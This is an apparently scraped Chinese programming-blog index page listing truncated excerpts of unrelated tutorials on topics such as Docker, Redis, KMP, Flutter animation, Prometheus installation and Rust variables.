一、XML介绍 当我们想要在不同的程序、系统或平台之间共享信息时&#xff0c;就需要一种统一的方式来组织和表示数据。XML&#xff08;EXtensible Markup Language&#xff0c;即可扩展标记语言&#xff09;是一种用于描述数据的标记语言&#xff0c;它让数据以一种结构化的方…...

编程日记 2024/2/17 21:48:05

Linux：docker在线仓库（docker hub 阿里云）基础操作

把镜像放到公网仓库&#xff0c;这样可以方便大家一起使用&#xff0c;当需要时直接在网上拉取镜像&#xff0c;并且你可以随时管理自己的镜像——删除添加或者修改。 1.docker hub仓库 2.阿里云加速 3.阿里云仓库 由于docker hub是国外的网站&#xff0c;国内的对数据的把控…...

编程日记 2024/2/17 21:46:03

C语言程序设计（第四版）—习题7程序设计题

目录 1.选择法排序。 2.求一批整数中出现最多的数字。 3.判断上三角矩阵。 4.求矩阵各行元素之和。 5.求鞍点。 6.统计大写辅音字母。 7.字符串替换。 8.字符串转换成十进制整数。 1.选择法排序。 输入一个正整数n&#xff08;1&#xff1c;n≤10&#xff09;&#xf…...

编程日记 2024/2/17 21:44:02

ZCC6982-同步升压充双节锂电池充电芯片

特性 ■高达 2A 的可调充电电流&#xff08;受实际散热和输入功率限制&#xff09; ■支持 8.4V、8.6V、8.7V、8.8V 的充满电压&#xff08;限QFN&#xff09; ■高达 28V 的输入耐压保护 ■高达 28V 的电池端耐压保护 ■宽输入工作电压范围&#xff1a;3.0V~6.5V ■峰值…...

编程日记 2024/2/17 21:43:01

定时器(基本定时器、通用定时器、高级定时器)

目录 一、基本定时器 二、通用定时器 三、高级定时器 一、基本定时器 1、作用&#xff1a;计时和计数。 二、通用定时器 1、除了有基本定时器的计时和计数功能外&#xff0c;主要有输入捕获和输出比较的功能&#xff0c;硬件主要由六大部分组成&#xff1a; ① 时钟源 ② 控…...

编程日记 2024/2/17 21:40:58

009集——磁盘详解——电脑数据如何存储在磁盘

很多人也知道数据能够保存是由于设备中有一个叫做「硬盘」的组件存在&#xff0c;但也有很多人不知道硬盘是怎样储存这些数据的。这里给大家讲讲其中的原理。 首先我们要明白的是&#xff0c;计算机中只有0和1&#xff0c;那么我们存入硬盘的数据&#xff0c;实际上也就是一堆0…...

编程日记 2024/2/17 21:38:56

鸿蒙开发-HarmonyOS UI架构

初步布局Index 当我们新建一个工程之后&#xff0c;首先会进入Index页。我们先简单的做一个文章列表的显示 class Article {title?: stringdesc?: stringlink?: string }Entry Component struct Index {State articles: Article[] []build() {Row() {Scroll() {Column() …...

编程日记 2024/2/17 21:36:52

Flutter 动画（显式动画、隐式动画、Hero动画、页面转场动画、交错动画）

前言 当前案例 Flutter SDK版本&#xff1a;3.13.2 显式动画 Tween({this.begin,this.end}) 两个构造参数&#xff0c;分别是 开始值 和 结束值&#xff0c;根据这两个值&#xff0c;提供了控制动画的方法&#xff0c;以下是常用的&#xff1b; controller.forward() : 向前…...

编程日记 2024/2/17 21:33:50

用HTML5 Canvas创造视觉盛宴——动态彩色线条效果

目录 一、程序代码 二、代码原理 三、运行效果 一、程序代码 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <!-- 声明文档类型为XHTML 1.0 Transitional -…...

编程日记 2024/2/17 21:32:49

云原生介绍与容器的基本概念

云原生介绍 1、云原生的定义 云原生为用户指定了一条低心智负担的、敏捷的、能够以可扩展、可复制的方式最大化地利用云的能力、发挥云的价值的最佳路径。 2、云原生思想两个理论 第一个理论基础是&#xff1a;不可变基础设施。 第二个理论基础是&#xff1a;云应用编排理…...

编程日记 2024/2/17 21:29:46

Flash存储

目录 一、MCU读写擦除Flash步骤 1、写flash步骤&#xff1a; 2、读flash步骤&#xff1a; 3、擦除flash步骤&#xff1a; 4、要注意的地方&#xff1a; 一、MCU读写擦除Flash步骤 1、写flash步骤&#xff1a; (1)解锁 2、读flash步骤&#xff1a; 3、擦除flash步骤&#x…...

编程日记 2024/2/17 21:28:44

Day 44 | 动态规划 完全背包、518. 零钱兑换 II 、 377. 组合总和 Ⅳ

完全背包 题目 文章讲解 视频讲解 完全背包和0-1背包的区别在于&#xff1a;物品是否可以重复使用 思路&#xff1a;对于完全背包问题&#xff0c;内层循环的遍历方式应该是从weight[i]开始一直遍历到V&#xff0c;而不是从V到weight[i]。这样可以确保每种物品可以被选择多次…...

编程日记 2024/2/17 21:25:40

使用PaddleNLP UIE模型提取上市公司PDF公告关键信息

项目地址&#xff1a;使用PaddleNLP UIE模型抽取PDF版上市公司公告 - 飞桨AI Studio星河社区 (baidu.com) 背景介绍 本项目将演示如何通过PDFPlumber库和PaddleNLP UIE模型&#xff0c;抽取公告中的相关信息。本次任务的PDF内容是破产清算的相关公告&#xff0c;目标是获取受理…...

编程日记 2024/2/17 21:24:39

软件工程师，OpenAI Sora驾到，快来围观

概述 近期&#xff0c;OpenAI在其官方网站上公布了Sora文生视频模型的详细信息&#xff0c;展示了其令人印象深刻的能力&#xff0c;包括根据文本输入快速生成长达一分钟的高清视频。Sora的强大之处在于其能够根据文本描述&#xff0c;生成长达60秒的视频&#xff0c;其中包含&…...

编程日记 2024/2/17 21:23:37

【Linux 04】编辑器 vim 详细介绍

文章目录 &#x1f308; Ⅰ 基本概念&#x1f308; Ⅱ 基本操作1. 进入 / 退出 vim2. vim 模式切换 &#x1f308; Ⅲ 命令模式1. 光标的移动2. 复制与粘贴3. 剪切与删除4. 撤销与恢复 &#x1f308; Ⅳ 底行模式1. 保存文件2. 查找字符3. 退出文件4. 替换内容5. 显示行号6. 外…...

编程日记 2024/2/17 21:21:35

KMP算法详解

1. 问题引入 链接&#xff1a;leetcode_28 题目&#xff1a;s1字符串是否包含s2字符串&#xff0c;如果包含返回s1中包含s2的最左开头位置&#xff0c;不包含返回-1 暴力方法就是s1的每个位置都做开头&#xff0c;然后去匹配s2整体&#xff0c;时间复杂度O(n*m) KMP算法可以…...

编程日记 2024/2/17 21:20:35

ubuntu22.04@laptop OpenCV Get Started: 013_contour_detection

ubuntu22.04laptop OpenCV Get Started: 013_contour_detection 1. 源由2. 应用Demo2.1 C应用Demo2.2 Python应用Demo 3. contour_approx应用3.1 读取图像并将其转换为灰度格式3.2 应用二进制阈值过滤算法3.3 查找对象轮廓3.4 绘制对象轮廓3.5 效果3.6 CHAIN_APPROX_SIMPLE v.s…...

编程日记 2024/2/17 21:19:33

[ai笔记5] 个人AI资讯助手实战

欢迎来到文思源想的ai空间&#xff0c;这是技术老兵重学ai以及成长思考的第5篇分享&#xff0c;也是把ai场景化应用的第一篇实操内容&#xff01; 既然要充分学习和了解ai&#xff0c;自然少不了要时常看看ai相关资讯&#xff0c;所以今天特地用字节的“扣子”做了一个ai的资讯…...

编程日记 2024/2/17 21:16:29

QT+OSG/osgEarth编译之八十九：osgdb_ply+Qt编译（一套代码、一套框架，跨平台编译，版本：OSG-3.6.5插件库osgdb_ply）

文章目录 一、osgdb_ply介绍二、文件分析三、pro文件四、编译实践一、osgdb_ply介绍 斯坦福三角形格式（Stanford Triangle Format）是一种用于存储三维模型数据的文件格式，也称为 PLY 格式。它最初由斯坦福大学图形实验室开发，用于存储和共享三维扫描和计算机图形数据。 P…...

编程日记 2024/2/17 21:13:26

机器人专题：我国机器人产业园区发展现状、问题、经验及建议

今天分享的是机器人系列深度研究报告&#xff1a;《机器人专题&#xff1a;我国机器人产业园区发展现状、问题、经验及建议》。 &#xff08;报告出品方&#xff1a;赛迪研究院&#xff09; 报告共计&#xff1a;26页 机器人作为推动工业化发展和数字中国建设的重要工具&…...

编程日记 2024/2/17 21:12:23

算法沉淀——哈希算法（leetcode真题剖析）

算法沉淀——哈希算法 01.两数之和02.判定是否互为字符重排03.存在重复元素04.存在重复元素 II05.字母异位词分组 哈希算法&#xff08;Hash Algorithm&#xff09;是一种将任意长度的输入&#xff08;也称为消息&#xff09;映射为固定长度的输出的算法。这个输出通常称为哈希…...

编程日记 2024/2/17 21:08:18

深入理解Redis哨兵原理

哨兵模式介绍 在深入理解Redis主从架构中Redis 的主从架构中&#xff0c;由于主从模式是读写分离的&#xff0c;如果主节点&#xff08;master&#xff09;挂了&#xff0c;那么将没有主节点来服务客户端的写操作请求&#xff0c;也没有主节点给从节点&#xff08;slave&#…...

编程日记 2024/2/17 21:06:16

MySQL-存储过程（PROCEDURE）

文章目录 1. 什么是存储过程&#xff1f;2. 存储过程的优点3. MySQL中的变量3.1 系统变量3.2 用户自定义变量3.3 局部变量 4. 存储过程的相关语法4.1 创建存储过程&#xff08;CREATE&#xff09;4.2 查看存储过程&#xff08;SHOW&#xff09;4.3 修改存储过程&#xff08;ALT…...

编程日记 2024/2/17 21:05:14

linux系统监控工具prometheus的安装以及监控mysql

prometheus 安装服务端客户端监控mysql prometheus浏览器查看 安装 https://prometheus.io/download/下载客户端和服务端以及需要监控的所有的包服务端 官网下载下载prometheustar -xf prometheus-2.47.2.linux-amd64.tar.gz -C /usr/local/ cd /usr/local/ mv prometheus-2.…...

编程日记 2024/2/17 21:03:11

初识tensorflow程序设计模式

文章目录 建立计算图tensorflow placeholdertensorflow数值运算常用的方法 tensorboard启动tensorboard的方法 建立一维与二维张量建立一维张量建立二维张量建立新的二维张量 矩阵的基本运算矩阵的加法矩阵乘法与加法 github地址https://github.com/fz861062923/TensorFlow 建…...

编程日记 2024/2/17 21:00:08

【QT+QGIS跨平台编译】之三十八：【GDAL+Qt跨平台编译】（一套代码、一套框架，跨平台编译）

文章目录 一、gdal介绍二、文件下载三、文件分析四、pro文件五、编译实践一、gdal介绍 GDAL（Geospatial Data Abstraction Library）是一个用于读取、写入和处理地理空间数据的开源库。它支持多种栅格和矢量地理空间数据格式，包括常见的GeoTIFF、Shapefile、NetCDF、HDF5等，…...

编程日记 2024/2/17 20:56:05

黑马鸿蒙教程学习1：Helloworld

今年打算粗略学习下鸿蒙开发&#xff0c;当作兴趣爱好&#xff0c;通过下华为那个鸿蒙开发认证&#xff0c; 发现黑马的课程不错&#xff0c;有视频和完整的代码和课件下载&#xff0c;装个devstudio就行了&#xff0c;建议32G内存。 今年的确是鸿蒙大爆发的一年呀&#xff0c;…...

编程日记 2024/2/17 20:53:03

蓝桥杯每日一题------背包问题（四）

前言 前面讲的都是背包的基础问题&#xff0c;这一节我们进行背包问题的实战&#xff0c;题目来源于一位朋友的询问&#xff0c;其实在这之前很少有题目是我自己独立做的&#xff0c;我一般习惯于先看题解&#xff0c;验证了题解提供的代码是正确的后&#xff0c;再去研究题解…...

编程日记 2024/2/17 20:52:02

OpenAI发布Sora技术报告深度解读！真的太强了！

&#x1f60e; 作者介绍&#xff1a;我是程序员洲洲&#xff0c;一个热爱写作的非著名程序员。CSDN全栈优质领域创作者、华为云博客社区云享专家、阿里云博客社区专家博主、前后端开发、人工智能研究生。公粽号&#xff1a;洲与AI。 &#x1f388; 本文专栏&#xff1a;本文收录…...

编程日记 2024/2/17 20:49:59

AJAX——接口文档

1 接口文档 接口文档&#xff1a;描述接口的文章 接口&#xff1a;使用AJAX和服务器通讯时&#xff0c;使用的URL&#xff0c;请求方法&#xff0c;以及参数 传送门&#xff1a;AJAX阶段接口文档 <!DOCTYPE html> <html lang"en"><head><meta c…...

编程日记 2024/2/17 20:46:56

leetcode hot100不同路径

本题可以采用动态规划来解决。还是按照五部曲来做 确定dp数组&#xff1a;dp[i][j]表示走到&#xff08;i&#xff0c;j&#xff09;有多少种路径 确定递推公式&#xff1a;我们这里&#xff0c;只有两个移动方向&#xff0c;比如说我移动到&#xff08;i&#xff0c;j&#x…...

编程日记 2024/2/17 20:42:52

【前端工程化面试题目】webpack 的热更新原理

可以在顺便学习一下 vite 的热更新原理&#xff0c;请参考这篇文章。 首先有几个知识点需要明确 热更新是针对开发过程中的开发服务器的&#xff0c;也就是 webpack-dev-serverwebpack 的热更新不需要额外的插件&#xff0c;但是需要在配置文件中 devServer属性中配置&#x…...

编程日记 2024/2/17 20:39:49

不花一分钱，在 Mac 上跑 Windows（M1/M2 版）

这是在 MacOS M1 上体验最新 Windows11 的效果&#xff1a; VMware Fusion&#xff0c;可以运行 Windows、Linux 系统&#xff0c;个人使用 licence 免费 安装流程见 &#x1f449; https://zhuanlan.zhihu.com/p/452412091 从申请 Fusion licence 到下载镜像&#xff0c;再到…...

编程日记 2024/2/17 20:37:48

Attempt to call an undefined function glutInit

Attempt to call an undefined function glutInit 解决方法&#xff1a; 从这里下载PyOpenGL 的whl安装文件&#xff0c; https://drive.google.com/drive/folders/1mz7faVsrp0e6IKCQh8MyZh-BcCqEGPwx 安装命令举栗 pip install PyOpenGL-3.1.7-cp39-cp39-win_amd64.whl pi…...

编程日记 2024/2/17 20:34:45

AB测试最小样本量

1.AB实验过程 常见的AB实验过程&#xff0c;分流-->实验-->数据分析-->决策&#xff1a;分流&#xff1a;用户被随机均匀的分为不同的组实验&#xff1a;同一组内的用户在实验期间使用相同的策略&#xff0c;不同组的用户使用相同或不同的策略。数据收集&#xff1a;…...

编程日记 2024/2/17 20:27:39

在Spring中事务失效的场景

在Spring框架中&#xff0c;事务管理是通过AOP&#xff08;面向切面编程&#xff09;实现的&#xff0c;主要依赖于Transactional注解。然而&#xff0c;在某些情况下&#xff0c;事务可能会失效。以下是一些可能导致Spring事务失效的常见场景&#xff1a; 非public方法&#…...

编程日记 2024/2/17 20:24:36

Rust 学习笔记 - 变量声明与使用

前言 任何一门编程语言几乎都脱离不了&#xff1a;变量、基本类型、函数、注释、循环、条件判断&#xff0c;这是一门编程语言的语法基础&#xff0c;只有当掌握这些基础语法及概念才能更好的学习 Rust。 变量介绍 Rust 是一种强类型语言&#xff0c;但在声明变量时&#xf…...

编程日记 2024/2/17 20:23:36